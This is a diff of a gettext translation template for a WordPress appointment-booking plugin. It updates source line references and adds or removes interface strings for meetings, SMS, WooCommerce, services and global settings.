+#: includes/addons/online-meetings/agora/agora.php:1010
 #: includes/addons/online-meetings/jitsi/jitsi.php:726
 #: includes/addons/online-meetings/jitsi/jitsi.php:792
 msgid "Waiting Room"
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:656
+#: includes/addons/online-meetings/agora/agora.php:986
 msgid "Online Meetings - Agora"
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:675
+#: includes/addons/online-meetings/agora/agora.php:1005
 #: includes/addons/online-meetings/jitsi/jitsi.php:787
 msgid ""
 "Meeting Room Page where <code>[app_meeting_room]</code> resides. This page "
 "is required for meetings to take place."
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:689
+#: includes/addons/online-meetings/agora/agora.php:1019
 #: includes/addons/online-meetings/jitsi/jitsi.php:801
 msgid ""
 "Waiting Room Page where <code>[app_waiting_room]</code> resides. This page "
 "is required for early clients to wait until meeting time."
 msgstr ""
 
-#: includes/addons/online-meetings/agora/agora.php:708
-msgid "Grid"
-msgstr ""
-
-#: includes/addons/online-meetings/agora/agora.php:709
-msgid "Pinned"
-msgstr ""
-
 #: includes/addons/online-meetings/functions.om.php:123
 #, php-format
 msgid "Online as of %s"
@@ -5425,7 +6195,7 @@
 msgstr ""
 
 #: includes/addons/online-meetings/zoom/zoom.php:542
-#: includes/custom-texts.php:1377
+#: includes/custom-texts.php:1382
 msgid "Zoom ID"
 msgstr ""
 
@@ -5439,12 +6209,12 @@
 msgstr ""
 
 #: includes/addons/online-meetings/zoom/zoom.php:565
-#: includes/constant-data.php:671
+#: includes/constant-data.php:689
 msgid "Zoom Host"
 msgstr ""
 
 #: includes/addons/online-meetings/zoom/zoom.php:574
-#: includes/constant-data.php:676
+#: includes/constant-data.php:694
 msgid "Zoom Password"
 msgstr ""
 
@@ -5456,12 +6226,6 @@
 msgid "Zoom Join URL"
 msgstr ""
 
-#: includes/addons/online-meetings/zoom/zoom.php:593
-#: includes/addons/online-meetings/zoom/zoom.php:693
-#: includes/custom-texts.php:1019 includes/custom-texts.php:1378
-msgid "Join"
-msgstr ""
-
 #: includes/addons/online-meetings/zoom/zoom.php:748
 msgid "Online Meetings - Zoom"
 msgstr ""
@@ -5491,7 +6255,7 @@
 msgstr ""
 
 #: includes/addons/online-meetings/zoom/zoom.php:909
-#: includes/constant-data.php:478 includes/custom-texts.php:1376
+#: includes/constant-data.php:489 includes/custom-texts.php:1381
 msgid "Zoom"
 msgstr ""
 
@@ -5815,7 +6579,7 @@
 msgstr ""
 
 #: includes/addons/reminder-follow-up-emails.php:552
-#: includes/constant-data.php:714
+#: includes/constant-data.php:734
 msgid "Due Payment Reminder"
 msgstr ""
 
@@ -5843,19 +6607,19 @@
 msgstr ""
 
 #: includes/addons/seasonal-working-hours.php:252
-#: includes/addons/user-defined-fields.php:1389
-#: includes/freeons/categories/categories.php:382
+#: includes/addons/user-defined-fields.php:1404
+#: includes/freeons/categories/categories.php:375
 msgid "Name*"
 msgstr ""
 
 #: includes/addons/seasonal-working-hours.php:253
-#: includes/admin/bookings.php:1321 includes/admin/services-list.php:1172
-#: includes/admin/services-list.php:1182 includes/custom-texts.php:1192
+#: includes/admin/bookings.php:1321 includes/admin/services-list.php:1173
+#: includes/admin/services-list.php:1183 includes/custom-texts.php:1198
 msgid "Owner"
 msgstr ""
 
 #: includes/addons/seasonal-working-hours.php:255
-#: includes/freeons/categories/categories.php:384
+#: includes/freeons/categories/categories.php:377
 msgid "Used by"
 msgstr ""
 
@@ -5907,7 +6671,7 @@
 msgstr ""
 
 #: includes/addons/seasonal-working-hours.php:718
-#: includes/admin/services-list.php:1365 includes/admin/services-list.php:1389
+#: includes/admin/services-list.php:1366 includes/admin/services-list.php:1390
 msgid "None defined"
 msgstr ""
 
@@ -6014,8 +6778,8 @@
 
 #: includes/addons/service-bundles.php:1176
 #: includes/addons/service-bundles.php:1264
-#: includes/admin/global-settings.php:379 includes/admin/setup.php:760
-#: includes/custom-texts.php:956
+#: includes/admin/global-settings.php:427 includes/admin/setup.php:760
+#: includes/custom-texts.php:963
 msgid "Day"
 msgstr ""
 
@@ -6066,8 +6830,9 @@
 msgstr ""
 
 #: includes/addons/service-bundles.php:1255 includes/admin/bookings.php:1490
-#: includes/custom-texts.php:1297 includes/custom-texts.php:1300
-#: includes/freeons/test-bookings.php:577 includes/schedules.php:400
+#: includes/custom-texts.php:1303 includes/custom-texts.php:1306
+#: includes/freeons/test-bookings.php:577 includes/functions.listing.php:162
+#: includes/schedules.php:415
 msgid "Service"
 msgstr ""
 
@@ -6111,7 +6876,7 @@
 
 #: includes/addons/service-providers.php:95
 #: includes/addons/service-providers/workers-list.php:98
-#: includes/custom-texts.php:1242
+#: includes/custom-texts.php:1247
 msgid "Providers"
 msgstr ""
 
@@ -6158,19 +6923,19 @@
 
 #: includes/addons/service-providers/workers-list.php:488
 #: includes/admin/bookings.php:788 includes/admin/dashboard.php:996
-#: includes/admin/services-list.php:578 includes/admin/transactions.php:582
+#: includes/admin/services-list.php:579 includes/admin/transactions.php:582
 msgid "Filter by store"
 msgstr ""
 
 #: includes/addons/service-providers/workers-list.php:488
 #: includes/admin/bookings.php:788 includes/admin/dashboard.php:996
-#: includes/admin/services-list.php:578 includes/admin/transactions.php:582
+#: includes/admin/services-list.php:579 includes/admin/transactions.php:582
 msgid "Filter by location"
 msgstr ""
 
 #: includes/addons/service-providers/workers-list.php:556
-#: includes/admin/clients.php:465 includes/custom-texts.php:899
-#: includes/custom-texts.php:1374
+#: includes/admin/clients.php:465 includes/custom-texts.php:908
+#: includes/custom-texts.php:1380
 msgid "Postcode"
 msgstr ""
 
@@ -6190,7 +6955,7 @@
 
 #: includes/addons/service-providers/workers-list.php:726
 #: includes/addons/service-providers/workers-list.php:1042
-#: includes/custom-texts.php:968
+#: includes/custom-texts.php:975
 msgid "Dummy"
 msgstr ""
 
@@ -6234,8 +6999,8 @@
 #: includes/addons/service-providers/workers-list.php:1151
 #: includes/admin/bookings.php:111 includes/admin/bookings.php:112
 #: includes/admin/clients.php:923 includes/admin/dashboard.php:627
-#: includes/admin/toolbar.php:127 includes/custom-texts.php:867
-#: includes/custom-texts.php:1160
+#: includes/admin/toolbar.php:127 includes/custom-texts.php:876
+#: includes/custom-texts.php:1166
 msgid "Bookings"
 msgstr ""
 
@@ -6330,7 +7095,7 @@
 msgid "Send a Test SMS"
 msgstr ""
 
-#: includes/addons/sms.php:522 includes/admin/global-settings.php:821
+#: includes/addons/sms.php:522 includes/admin/global-settings.php:955
 msgid "Send Now"
 msgstr ""
 
@@ -6345,14 +7110,14 @@
 #: includes/addons/sms.php:550 includes/addons/sms.php:583
 #: includes/addons/sms.php:674 includes/addons/sms.php:706
 #: includes/admin/bookings.php:1887 includes/admin/bookings.php:1902
-#: includes/admin/clients.php:622 includes/custom-texts.php:915
-#: includes/freeons/test-bookings.php:560 includes/schedules.php:468
+#: includes/admin/clients.php:622 includes/custom-texts.php:923
+#: includes/freeons/test-bookings.php:560 includes/schedules.php:483
 msgid "Client"
 msgstr ""
 
 #: includes/addons/sms.php:550 includes/addons/sms.php:583
 #: includes/addons/sms.php:674 includes/addons/sms.php:706
-#: includes/admin/services-list.php:561 includes/custom-texts.php:787
+#: includes/admin/services-list.php:562 includes/custom-texts.php:787
 msgid "Admin"
 msgstr ""
 
@@ -6360,7 +7125,7 @@
 msgid "SMS messages sent when status is Confirmed or Paid"
 msgstr ""
 
-#: includes/addons/sms.php:555 includes/admin/global-settings.php:837
+#: includes/addons/sms.php:555 includes/admin/global-settings.php:971
 msgid "Confirmation"
 msgstr ""
 
@@ -6393,8 +7158,8 @@
 msgstr ""
 
 #: includes/addons/sms.php:679 includes/admin/bookings.php:1801
-#: includes/admin/dashboard.php:683 includes/admin/global-settings.php:896
-#: includes/custom-texts.php:922
+#: includes/admin/dashboard.php:683 includes/admin/global-settings.php:1030
+#: includes/custom-texts.php:930
 msgid "Completed"
 msgstr ""
 
@@ -6404,7 +7169,7 @@
 "Removed."
 msgstr ""
 
-#: includes/addons/sms.php:711 includes/admin/global-settings.php:924
+#: includes/addons/sms.php:711 includes/admin/global-settings.php:1058
 msgid "Cancellation"
 msgstr ""
 
@@ -6432,10 +7197,6 @@
 msgid "%1$sPaid with %2$s card. Cardholder name: %3$s."
 msgstr ""
 
-#: includes/addons/stripe/stripe.php:287
-msgid "Stripe"
-msgstr ""
-
 #: includes/addons/stripe/stripe.php:289
 msgid ""
 "Accept Visa, MasterCard, American Express, Discover, JCB, and Diners Club "
@@ -7077,7 +7838,7 @@
 msgid "Checkbox"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:132 includes/custom-texts.php:952
+#: includes/addons/user-defined-fields.php:132 includes/custom-texts.php:959
 msgid "Date"
 msgstr ""
 
@@ -7094,52 +7855,52 @@
 msgid "Test: "
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:851 includes/custom-texts.php:1134
+#: includes/addons/user-defined-fields.php:851 includes/custom-texts.php:1141
 #, php-format
 msgid "%s is a required field"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1238
+#: includes/addons/user-defined-fields.php:1253
 msgid "UDFs"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1374
+#: includes/addons/user-defined-fields.php:1389
 msgid "Add New UDF"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1390
+#: includes/addons/user-defined-fields.php:1405
 msgid "Type"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1391
+#: includes/addons/user-defined-fields.php:1406
 msgid "Front End?"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1392
+#: includes/addons/user-defined-fields.php:1407
 msgid "Required?"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1393
+#: includes/addons/user-defined-fields.php:1408
 msgid "Editable?"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1395
+#: includes/addons/user-defined-fields.php:1410
 msgid "Register?"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1397
+#: includes/addons/user-defined-fields.php:1412
 msgid "Options"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1408
+#: includes/addons/user-defined-fields.php:1423
 msgid "No UDFs defined"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1419
+#: includes/addons/user-defined-fields.php:1434
 msgid "Save UDFs"
 msgstr ""
 
-#: includes/addons/user-defined-fields.php:1421
+#: includes/addons/user-defined-fields.php:1436
 msgid "<i>Tip: To delete a UDF, just clear its name and save.</i>"
 msgstr ""
 
@@ -7282,8 +8043,8 @@
 msgstr ""
 
 #: includes/addons/variable-durations/time-variant-durations.php:350
-#: includes/admin/services-list.php:1198 includes/custom-texts.php:969
-#: includes/custom-texts.php:1282
+#: includes/admin/services-list.php:1199 includes/custom-texts.php:976
+#: includes/custom-texts.php:1288
 msgid "Duration"
 msgstr ""
 
@@ -7312,7 +8073,7 @@
 msgstr ""
 
 #: includes/addons/waiting-list.php:99 includes/addons/waiting-list.php:729
-#: includes/addons/waiting-list.php:905 includes/custom-texts.php:1355
+#: includes/addons/waiting-list.php:905 includes/custom-texts.php:1361
 msgid "Waiting List"
 msgstr ""
 
@@ -7406,14 +8167,14 @@
 msgid "Paid in total %1$s in WooCommerce order %2$s"
 msgstr ""
 
-#: includes/addons/woocommerce.php:1360
+#: includes/addons/woocommerce.php:1362
 #, php-format
 msgid ""
 "WooCommerce cancellation for booking with ID %1$d of client %2$s could not "
 "be processed."
 msgstr ""
 
-#: includes/addons/woocommerce.php:1369
+#: includes/addons/woocommerce.php:1371
 #, php-format
 msgid "Client %1$s cancelled their booking with ID %2$d in WooCommerce."
 msgstr ""
@@ -7504,7 +8265,7 @@
 msgstr ""
 
 #: includes/addons/woocommerce/deposits.php:126
-#: includes/admin/bookings.php:1588 includes/custom-texts.php:960
+#: includes/admin/bookings.php:1588 includes/custom-texts.php:967
 msgid "Deposit"
 msgstr ""
 
@@ -7576,7 +8337,7 @@
 msgid "Business Settings"
 msgstr ""
 
-#: includes/addons/woocommerce/wc-admin.php:334 includes/custom-texts.php:825
+#: includes/addons/woocommerce/wc-admin.php:334 includes/custom-texts.php:834
 #: includes/freeons/edd.php:1301
 msgid "Booking"
 msgstr ""
@@ -7585,7 +8346,7 @@
 msgid "WooCommerce Order ID"
 msgstr ""
 
-#: includes/addons/woocommerce/wc-admin.php:418 includes/custom-texts.php:1367
+#: includes/addons/woocommerce/wc-admin.php:418 includes/custom-texts.php:1373
 #: includes/freeons/edd.php:1387
 msgid "Order ID"
 msgstr ""
@@ -7741,7 +8502,7 @@
 msgstr ""
 
 #: includes/admin/base-admin.php:660 includes/admin/global-settings.php:42
-#: includes/admin/global-settings.php:335 includes/functions.internal.php:2326
+#: includes/admin/global-settings.php:383 includes/functions.internal.php:2326
 msgid "Global Settings"
 msgstr ""
 
@@ -7824,11 +8585,6 @@
 msgid "Client Name"
 msgstr ""
 
-#: includes/admin/bookings.php:706 includes/admin/clients.php:460
-#: includes/constant-data.php:456
-msgid "Client ID"
-msgstr ""
-
 #: includes/admin/bookings.php:712 includes/admin/bookings.php:1728
 msgid "Admin Note"
 msgstr ""
@@ -7854,7 +8610,7 @@
 msgstr ""
 
 #: includes/admin/bookings.php:826 includes/admin/dashboard.php:1042
-#: includes/admin/services-list.php:605
+#: includes/admin/services-list.php:606
 msgid "Filter by provider"
 msgstr ""
 
@@ -7901,7 +8657,7 @@
 msgid "Click to edit booking"
 msgstr ""
 
-#: includes/admin/bookings.php:1297 includes/custom-texts.php:963
+#: includes/admin/bookings.php:1297 includes/custom-texts.php:970
 msgid "Details"
 msgstr ""
 
@@ -7913,12 +8669,12 @@
 msgid "CLIENT"
 msgstr ""
 
-#: includes/admin/bookings.php:1415 includes/custom-texts.php:1293
+#: includes/admin/bookings.php:1415 includes/custom-texts.php:1299
 msgid "User"
 msgstr ""
 
 #: includes/admin/bookings.php:1418 includes/front.php:364
-#: includes/schedules.php:471
+#: includes/schedules.php:486
 msgid "Not registered user"
 msgstr ""
 
@@ -7946,7 +8702,8 @@
 msgid "LOCATION - SERVICE - PROVIDER"
 msgstr ""
 
-#: includes/admin/bookings.php:1490 includes/schedules.php:400
+#: includes/admin/bookings.php:1490 includes/functions.listing.php:162
+#: includes/schedules.php:415
 msgid "Event"
 msgstr ""
 
@@ -7955,7 +8712,7 @@
 msgid "PRICING - PAYMENT (%s)"
 msgstr ""
 
-#: includes/admin/bookings.php:1564 includes/custom-texts.php:1078
+#: includes/admin/bookings.php:1564 includes/custom-texts.php:1084
 msgid "Method"
 msgstr ""
 
@@ -7986,7 +8743,7 @@
 msgid "Payment"
 msgstr ""
 
-#: includes/admin/bookings.php:1622 includes/custom-texts.php:820
+#: includes/admin/bookings.php:1622 includes/custom-texts.php:829
 msgid "Balance"
 msgstr ""
 
@@ -7995,7 +8752,7 @@
 msgid "BOOKING (%d)"
 msgstr ""
 
-#: includes/admin/bookings.php:1640 includes/schedules.php:386
+#: includes/admin/bookings.php:1640 includes/schedules.php:401
 msgid "NEW BOOKING"
 msgstr ""
 
@@ -8008,7 +8765,7 @@
 msgid "starting at <b>%s</b>"
 msgstr ""
 
-#: includes/admin/bookings.php:1665 includes/custom-texts.php:945
+#: includes/admin/bookings.php:1665 includes/custom-texts.php:952
 msgid "Created by"
 msgstr ""
 
@@ -8036,16 +8793,18 @@
 msgid "ACTIONS"
 msgstr ""
 
-#: includes/admin/bookings.php:1770 includes/schedules.php:546
+#: includes/admin/bookings.php:1770 includes/functions.listing.php:257
+#: includes/schedules.php:561
 msgid "Reserved bookings cannot be edited here. Edit them in your GCal."
 msgstr ""
 
-#: includes/admin/bookings.php:1773 includes/schedules.php:549
+#: includes/admin/bookings.php:1773 includes/functions.listing.php:260
+#: includes/schedules.php:564
 msgid "Click to save or update"
 msgstr ""
 
-#: includes/admin/bookings.php:1775 includes/custom-texts.php:1263
-#: includes/schedules.php:553
+#: includes/admin/bookings.php:1775 includes/custom-texts.php:1269
+#: includes/functions.listing.php:264 includes/schedules.php:568
 msgid "Save"
 msgstr ""
 
@@ -8057,8 +8816,8 @@
 msgid "Send email:"
 msgstr ""
 
-#: includes/admin/bookings.php:1789 includes/admin/global-settings.php:762
-#: includes/custom-texts.php:931
+#: includes/admin/bookings.php:1789 includes/admin/global-settings.php:896
+#: includes/custom-texts.php:939
 msgid "Confirmed"
 msgstr ""
 
@@ -8067,12 +8826,12 @@
 msgstr ""
 
 #: includes/admin/bookings.php:1842 includes/front-ajax.php:1250
-#: includes/front-listing.php:324
+#: includes/front-listing.php:465
 msgid "Unexpected error"
 msgstr ""
 
 #: includes/admin/bookings.php:1887 includes/admin/bookings.php:1902
-#: includes/admin/bookings.php:1952 includes/custom-texts.php:1013
+#: includes/admin/bookings.php:1952 includes/custom-texts.php:1020
 msgid "GCal"
 msgstr ""
 
@@ -8085,30 +8844,33 @@
 msgid "%s by %s"
 msgstr ""
 
-#: includes/admin/bookings.php:2034 includes/admin/functions-admin.php:647
-#: includes/schedules.php:639
+#: includes/admin/bookings.php:2034 includes/admin/functions-admin.php:653
+#: includes/schedules.php:662
 msgid "Service does not exist!"
 msgstr ""
 
-#: includes/admin/bookings.php:2048 includes/schedules.php:653
+#: includes/admin/bookings.php:2048 includes/functions.listing.php:369
+#: includes/schedules.php:676
 msgid "You are not owner of this service"
 msgstr ""
 
-#: includes/admin/bookings.php:2052 includes/schedules.php:657
+#: includes/admin/bookings.php:2052 includes/functions.listing.php:373
+#: includes/schedules.php:680
 msgid "You are not allowed to edit other provider's booking"
 msgstr ""
 
-#: includes/admin/bookings.php:2061 includes/admin/services-list.php:1666
-#: includes/schedules.php:667
+#: includes/admin/bookings.php:2061 includes/admin/services-list.php:1669
+#: includes/functions.listing.php:384 includes/schedules.php:690
 #, php-format
 msgid "Record has been taken over by %s. It could not be saved."
 msgstr ""
 
-#: includes/admin/bookings.php:2072 includes/schedules.php:678
+#: includes/admin/bookings.php:2072 includes/schedules.php:701
 msgid "A valid email is required to create a new user"
 msgstr ""
 
-#: includes/admin/bookings.php:2118 includes/schedules.php:720
+#: includes/admin/bookings.php:2118 includes/functions.listing.php:419
+#: includes/schedules.php:743
 msgid "Booking start time cannot be later than end time!"
 msgstr ""
 
@@ -8116,12 +8878,12 @@
 msgid "New booking successfully saved."
 msgstr ""
 
-#: includes/admin/bookings.php:2295 includes/admin/transactions.php:776
+#: includes/admin/bookings.php:2295 includes/admin/transactions.php:778
 msgid "None yet"
 msgstr ""
 
 #: includes/admin/clients.php:255 includes/admin/clients.php:629
-#: includes/admin/dashboard.php:628 includes/custom-texts.php:1257
+#: includes/admin/dashboard.php:628 includes/custom-texts.php:1263
 msgid "Revenue"
 msgstr ""
 
@@ -8238,7 +9000,7 @@
 msgid "Yesterday"
 msgstr ""
 
-#: includes/admin/dashboard.php:902 includes/custom-texts.php:1333
+#: includes/admin/dashboard.php:902 includes/custom-texts.php:1338
 msgid "Today"
 msgstr ""
 
@@ -8254,7 +9016,7 @@
 msgid "This Week"
 msgstr ""
 
-#: includes/admin/dashboard.php:906 includes/custom-texts.php:1157
+#: includes/admin/dashboard.php:906 includes/custom-texts.php:1163
 msgid "Next Week"
 msgstr ""
 
@@ -8270,7 +9032,7 @@
 msgid "This Month"
 msgstr ""
 
-#: includes/admin/dashboard.php:910 includes/custom-texts.php:1155
+#: includes/admin/dashboard.php:910 includes/custom-texts.php:1161
 msgid "Next Month"
 msgstr ""
 
@@ -8443,158 +9205,167 @@
 "only."
 msgstr ""
 
-#: includes/admin/functions-admin.php:520
+#: includes/admin/functions-admin.php:526
 #, php-format
 msgid "Status changed from %1$s to %2$s by %3$s for booking ID:%4$d"
 msgstr ""
 
-#: includes/admin/functions-admin.php:530
+#: includes/admin/functions-admin.php:536
 #, php-format
 msgid ""
 "Start time of the booking changed from %1$s to %2$s by %3$s for booking ID:"
 "%4$d"
 msgstr ""
 
-#: includes/admin/functions-admin.php:645
+#: includes/admin/functions-admin.php:651
 msgid ""
 "This booking is created by Google Calendar. Edit it in your Google Calendar "
 "account"
 msgstr ""
 
-#: includes/admin/functions-admin.php:649
+#: includes/admin/functions-admin.php:655
 msgid "Booking start time is later than end time"
 msgstr ""
 
-#: includes/admin/functions-admin.php:651
+#: includes/admin/functions-admin.php:657
 msgid ""
 "Selected date is a past date. Only Removed, Completed and Test statuses are "
 "allowed"
 msgstr ""
 
-#: includes/admin/functions-admin.php:655
+#: includes/admin/functions-admin.php:661
 msgid "Changes are not saved in DEMO mode"
 msgstr ""
 
-#: includes/admin/global-settings.php:211
+#: includes/admin/global-settings.php:214
+msgid "Schedules cache cleared"
+msgstr ""
+
+#: includes/admin/global-settings.php:247
 msgid "This is a test email of WP BASE"
 msgstr ""
 
-#: includes/admin/global-settings.php:270 includes/functions.internal.php:2933
+#: includes/admin/global-settings.php:318 includes/functions.internal.php:2968
 msgid "Book a Service"
 msgstr ""
 
-#: includes/admin/global-settings.php:270 includes/admin/setup.php:237
-#: includes/admin/setup.php:360 includes/functions.internal.php:2933
+#: includes/admin/global-settings.php:318 includes/admin/setup.php:237
+#: includes/admin/setup.php:360 includes/functions.internal.php:2968
 msgid "Make an Appointment"
 msgstr ""
 
-#: includes/admin/global-settings.php:363
+#: includes/admin/global-settings.php:411
 msgid "Time Settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:380 includes/admin/setup.php:761
+#: includes/admin/global-settings.php:428 includes/admin/setup.php:761
 msgid "Month"
 msgstr ""
 
-#: includes/admin/global-settings.php:394
-#: includes/admin/global-settings.php:431
+#: includes/admin/global-settings.php:442
+#: includes/admin/global-settings.php:474
+#: includes/admin/global-settings.php:516
 msgid "Save All Basic Settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:399
+#: includes/admin/global-settings.php:447
 msgid "Booking & Cancelling"
 msgstr ""
 
-#: includes/admin/global-settings.php:415 includes/widgets.php:288
+#: includes/admin/global-settings.php:463 includes/widgets.php:288
 msgid "There are no pages!"
 msgstr ""
 
-#: includes/admin/global-settings.php:435
-#: includes/admin/global-settings.php:651
+#: includes/admin/global-settings.php:481
+msgid "Editing & Rescheduling"
+msgstr ""
+
+#: includes/admin/global-settings.php:520
+#: includes/admin/global-settings.php:785
 msgid "Link for export/import of settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:435
-#: includes/admin/global-settings.php:651
+#: includes/admin/global-settings.php:520
+#: includes/admin/global-settings.php:785
 msgid "Export/Import Settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:458
+#: includes/admin/global-settings.php:543
 msgid "Misc. Booking Settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:566
+#: includes/admin/global-settings.php:688
 msgid "Setup"
 msgstr ""
 
-#: includes/admin/global-settings.php:625
+#: includes/admin/global-settings.php:759
 msgid "Admin Preferences"
 msgstr ""
 
-#: includes/admin/global-settings.php:702
+#: includes/admin/global-settings.php:836
 msgid "Not possible to calculate. 60 mins is in effect."
 msgstr ""
 
-#: includes/admin/global-settings.php:717
+#: includes/admin/global-settings.php:851
 msgid "Calculated value: "
 msgstr ""
 
-#: includes/admin/global-settings.php:739
+#: includes/admin/global-settings.php:873
 msgid ""
 "To display the table summarizing effect of different settings please click "
 "the \"i\" icon:"
 msgstr ""
 
-#: includes/admin/global-settings.php:747
+#: includes/admin/global-settings.php:881
 msgid "Setting of Auto Confirm"
 msgstr ""
 
-#: includes/admin/global-settings.php:748
+#: includes/admin/global-settings.php:882
 msgid "Resulting Status When..."
 msgstr ""
 
-#: includes/admin/global-settings.php:752
+#: includes/admin/global-settings.php:886
 msgid "Payment Required = NO OR Price = 0"
 msgstr ""
 
-#: includes/admin/global-settings.php:753
+#: includes/admin/global-settings.php:887
 msgid "Payment Required = YES AND Price > 0"
 msgstr ""
 
-#: includes/admin/global-settings.php:758
-#: includes/admin/global-settings.php:763
+#: includes/admin/global-settings.php:892
+#: includes/admin/global-settings.php:897
 msgid "Pending&rarr;{Payment}&rarr;Paid"
 msgstr ""
 
-#: includes/admin/global-settings.php:782
+#: includes/admin/global-settings.php:916
 msgid "Location &gt; Service &gt; Provider"
 msgstr ""
 
-#: includes/admin/global-settings.php:783
+#: includes/admin/global-settings.php:917
 msgid "Location &gt; Provider &gt; Service"
 msgstr ""
 
-#: includes/admin/global-settings.php:784
+#: includes/admin/global-settings.php:918
 msgid "Service &gt; Location &gt; Provider"
 msgstr ""
 
-#: includes/admin/global-settings.php:785
+#: includes/admin/global-settings.php:919
 msgid "Service &gt; Provider &gt; Location"
 msgstr ""
 
-#: includes/admin/global-settings.php:786
+#: includes/admin/global-settings.php:920
 msgid "Provider &gt; Location &gt; Service"
 msgstr ""
 
-#: includes/admin/global-settings.php:787
+#: includes/admin/global-settings.php:921
 msgid "Provider &gt; Service &gt; Location"
 msgstr ""
 
-#: includes/admin/global-settings.php:819
+#: includes/admin/global-settings.php:953
 msgid "Send a Test email"
 msgstr ""
 
-#: includes/admin/global-settings.php:823
+#: includes/admin/global-settings.php:957
 msgid ""
 "Clicking this button will IMMEDIATELY try to send a test email to the admin "
 "email(s) above using confirmation message template below. Most email "
@@ -8603,37 +9374,37 @@
 "This may help to figure out if you have such a problem in the first place."
 msgstr ""
 
-#: includes/admin/global-settings.php:836
+#: includes/admin/global-settings.php:970
 msgid "Emails sent when status is confirmed."
 msgstr ""
 
-#: includes/admin/global-settings.php:864
+#: includes/admin/global-settings.php:998
 msgid "Settings for email messages when appointment status is Pending."
 msgstr ""
 
-#: includes/admin/global-settings.php:895
+#: includes/admin/global-settings.php:1029
 msgid ""
 "Settings for email messages when appointment has just completed or its "
 "status is Completed."
 msgstr ""
 
-#: includes/admin/global-settings.php:923
+#: includes/admin/global-settings.php:1057
 msgid ""
 "Settings for email messages when appointment is cancelled or its status is "
 "Removed."
 msgstr ""
 
-#: includes/admin/global-settings.php:954
+#: includes/admin/global-settings.php:1088
 msgid "Save Email Settings"
 msgstr ""
 
-#: includes/admin/global-settings.php:989
+#: includes/admin/global-settings.php:1123
 msgid ""
 "Some business models may need advanced settings. Here you can adjust them. "
 "These settings are enabled by Addons."
 msgstr ""
 
-#: includes/admin/global-settings.php:1004
+#: includes/admin/global-settings.php:1138
 msgid "Save Addon Settings"
 msgstr ""
 
@@ -8924,8 +9695,8 @@
 msgstr ""
 
 #: includes/admin/help.php:564 includes/admin/tinymce.php:244
-#: includes/constant-data.php:381 includes/constant-data.php:1555
-#: includes/functions.internal.php:2969
+#: includes/constant-data.php:392 includes/constant-data.php:1575
+#: includes/functions.internal.php:3004
 msgid "demo website"
 msgstr ""
 
@@ -9204,253 +9975,264 @@
 msgid "No Payment Addon Found"
 msgstr ""
 
-#: includes/admin/services-list.php:352
+#: includes/admin/service-rte.php:52
+msgid "Content"
+msgstr ""
+
+#: includes/admin/service-rte.php:56
+msgid "View/Edit Content"
+msgstr ""
+
+#: includes/admin/service-rte.php:57
+msgid "HTML tags not displayed. To view in full, click View/Edit."
+msgstr ""
+
+#: includes/admin/service-rte.php:206
+msgid "Submit and Close"
+msgstr ""
+
+#: includes/admin/services-list.php:353
 #, php-format
 msgid "%s Services"
 msgstr ""
 
-#: includes/admin/services-list.php:355 includes/admin/services-list.php:1308
+#: includes/admin/services-list.php:356 includes/admin/services-list.php:1309
 msgid "Add New Service"
 msgstr ""
 
-#: includes/admin/services-list.php:531 includes/admin/setup.php:837
+#: includes/admin/services-list.php:532 includes/admin/setup.php:837
 msgid "Service Name"
 msgstr ""
 
-#: includes/admin/services-list.php:532 includes/custom-texts.php:1299
+#: includes/admin/services-list.php:533 includes/custom-texts.php:1305
 msgid "Service ID"
 msgstr ""
 
-#: includes/admin/services-list.php:559
+#: includes/admin/services-list.php:560
 msgid "Filter by owner"
 msgstr ""
 
-#: includes/admin/services-list.php:591
+#: includes/admin/services-list.php:592
 msgid "Filter by category"
 msgstr ""
 
-#: includes/admin/services-list.php:620
+#: includes/admin/services-list.php:621
 msgid "Filter by duration"
 msgstr ""
 
-#: includes/admin/services-list.php:663
+#: includes/admin/services-list.php:664
 msgid "Default order"
 msgstr ""
 
-#: includes/admin/services-list.php:664
+#: includes/admin/services-list.php:665
 msgid "Reverse order"
 msgstr ""
 
-#: includes/admin/services-list.php:665
+#: includes/admin/services-list.php:666
 msgid "ID (1 &rarr; 99)"
 msgstr ""
 
-#: includes/admin/services-list.php:666
+#: includes/admin/services-list.php:667
 msgid "ID (99 &rarr; 1)"
 msgstr ""
 
-#: includes/admin/services-list.php:667
+#: includes/admin/services-list.php:668
 msgid "Name (A &rarr; Z)"
 msgstr ""
 
-#: includes/admin/services-list.php:668
+#: includes/admin/services-list.php:669
 msgid "Name (Z &rarr; A)"
 msgstr ""
 
-#: includes/admin/services-list.php:686
+#: includes/admin/services-list.php:687
 msgid "Set as Internal (private)"
 msgstr ""
 
-#: includes/admin/services-list.php:687
+#: includes/admin/services-list.php:688
 msgid "Set as public"
 msgstr ""
 
-#: includes/admin/services-list.php:688
+#: includes/admin/services-list.php:689
 msgid "Delete permanently"
 msgstr ""
 
-#: includes/admin/services-list.php:719
-#: includes/freeons/categories/categories.php:513
+#: includes/admin/services-list.php:720
+#: includes/freeons/categories/categories.php:506
 msgid "Deletion is turned off by admin."
 msgstr ""
 
-#: includes/admin/services-list.php:757
-#, php-format
-msgid "%d records have been deleted"
-msgstr ""
-
-#: includes/admin/services-list.php:1028
+#: includes/admin/services-list.php:1029
 msgid "Click to edit service"
 msgstr ""
 
-#: includes/admin/services-list.php:1172
+#: includes/admin/services-list.php:1173
 msgid "Owner can edit the service. Only admin can change owners."
 msgstr ""
 
-#: includes/admin/services-list.php:1178
+#: includes/admin/services-list.php:1179
 msgid "Another service provider"
 msgstr ""
 
-#: includes/admin/services-list.php:1186 includes/custom-texts.php:1316
